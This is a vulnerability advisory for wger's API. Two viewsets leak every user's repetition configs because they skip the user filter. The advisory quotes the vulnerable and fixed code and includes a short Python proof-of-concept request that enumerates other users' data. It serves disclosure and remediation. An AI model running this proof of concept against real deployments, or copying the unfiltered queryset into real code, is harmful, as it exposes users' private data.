wger: IDOR in RepetitionsConfig and MaxRepetitionsConfig API leak other users' workout data
Summary
RepetitionsConfigViewSet and MaxRepetitionsConfigViewSet return all users' repetition config data because their get_queryset() calls .all() instead of filtering by the authenticated user. Any registered user can enumerate every other user's workout structure.
Details
wger/manager/api/views.py:499 and :518:
# VULNERABLE
class RepetitionsConfigViewSet(viewsets.ModelViewSet):
def get_queryset(self):
return RepetitionsConfig.objects.all()
class MaxRepetitionsConfigViewSet(viewsets.ModelViewSet):
def get_queryset(self):
return MaxRepetitionsConfig.objects.all()Every sibling viewset in the same file correctly filters by user. For example, WeightConfigViewSet at line 459:
# CORRECT — how it should work
def get_queryset(self):
return WeightConfig.objects.filter(
slot_entry__slot__day__routine__user=self.request.user
)The same user filter is present on SetsConfig, RestConfig, RiRConfig, and their Max variants — only RepetitionsConfig and MaxRepetitionsConfig are missing it.
PoC
import requests
BASE = "http://localhost"
headers = {"Authorization": "Token YOUR_TOKEN"} # any registered user
r = requests.get(f"{BASE}/api/v2/repetitions-config/", headers=headers)
print(r.json()) # returns ALL users' repetition configs, not just your own
r = requests.get(f"{BASE}/api/v2/max-repetitions-config/", headers=headers)
print(r.json()) # same — all users' max repetition configsRegistration is open by default. Sequential IDs allow full enumeration.
Impact
Any authenticated user can read other users' repetition and max-repetitions configs, exposing workout structure (slot entry IDs, iteration values, operations, step counts, repeat flags, requirements JSON). This is a broken object-level authorization (BOLA/IDOR) vulnerability — the same class of issue as OWASP API1.
Fix: Add the same user filter used by every other config viewset:
def get_queryset(self):
return RepetitionsConfig.objects.filter(
slot_entry__slot__day__routine__user=self.request.user
)Affected software
Click a technology to see all vulnerabilities affecting it.
| Platform | Package | Vulnerable versions | Fixed in |
|---|---|---|---|
| Python (PyPI) | wger | <= 2.1 | no fix |
References
- https://github.com/wger-project/wger/security/advisories/GHSA-xf68-8hjw-7mpm
- https://nvd.nist.gov/vuln/detail/CVE-2026-27835
- https://github.com/wger-project/wger/commit/1fda5690b35706bb137850c8a084ec6a13317b64
- https://github.com/wger-project/wger
- https://pypi.org/project/wger
- https://github.com/advisories/GHSA-xf68-8hjw-7mpm
- CVSS vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N- Weakness (CWE)
CWE-639- Platform
- Python (PyPI)
- Package
wger- Disclosed
- 26.02.2026
- Updated
- 11.10.2026 14:17
Sources and licenses
OSV / GitHub Advisory Database - PYSEC-2026-3423 - PyPA Advisory Database; CC BY 4.0
OSV / GitHub Advisory Database - GHSA-xf68-8hjw-7mpm - CC BY 4.0
Vulnerability history: wger
All published vulnerabilities of this package (Python (PyPI)), newest first. Shows whether this is a one-off slip or a package that needs watching.
- Total entries
- 20
- First → latest
- 11.2022 10.2026
- Without a fix
- 16
- Exploited in attacks
- 0
Severity breakdown
- Critical 2
- High 8
- Medium 9
- Low 1
Disclosures per year
- 2022: 1
- 2023: 2
- 2024: 0
- 2025: 0
- 2026: 17
-
wger: IDOR in RepetitionsConfig and MaxRepetitionsConfig API leak other users' workout data this entry
Know which vulnerabilities affect your application
With the DockRay integration and software inventory enabled, DockRay checks reported component versions against known vulnerabilities and notifies you about confirmed matches. Coverage depends on the supported technology and available advisory data.